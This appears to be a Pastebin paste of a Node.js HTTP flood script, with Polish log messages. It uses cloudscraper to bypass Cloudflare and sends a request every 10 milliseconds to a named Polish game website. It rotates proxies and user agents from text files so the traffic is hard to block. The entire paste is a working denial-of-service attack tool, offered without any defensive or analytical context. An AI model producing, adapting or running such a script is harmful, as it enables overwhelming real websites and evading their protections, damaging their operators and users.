Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var cloudscraper = require('cloudscraper');
- const readline = require('readline');
- var split = require('string-split');
- const fs = require('fs');
- var tabelka = [];
- var tabelka2 = [];
- let rl2 = readline.createInterface({
- input: fs.createReadStream('agents.txt')
- });
- let line_no2 = 0;
- let agent_iter = 1;
- rl2.on('line', function(line) {
- line_no2++;
- tabelka2[line_no2+1] = line;
- });
- rl2.on('close', function(line) {
- console.log('Ilość wszystkich useragentów: ' + (line_no2));
- });
- let rl = readline.createInterface({
- input: fs.createReadStream('proxies.txt')
- });
- let line_no = 0;
- let proxy_iter = 1;
- rl.on('line', function(line) {
- line_no++;
- tabelka[line_no+1] = line;
- });
- const request = async(url) =>
- {
- return new Promise((resolve, reject) => {
- cloudscraper.get(url, function(error, response, body) {
- if(proxy_iter+1 > line_no) {
- proxy_iter = 1;
- }
- proxy_iter++;
- var str=tabelka[proxy_iter];
- cloudscraper.setRequestProxy(str);
- if(agent_iter+1 > line_no2) {
- agent_iter = 1;
- }
- agent_iter++;
- var str_agent=tabelka[agent_iter];
- cloudscraper.setUserAgent(str_agent);
- if (error) {
- } else {
- console.log(response.statusCode + ' || ' + str);
- }
- });
- });
- }
- rl.on('close', function(line) {
- console.log('Ilość wszystkich proxy: ' + (line_no));
- var url = "https://light-rpg.pl/";
- setInterval(async() =>
- {
- request(url);
- }, 10);
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement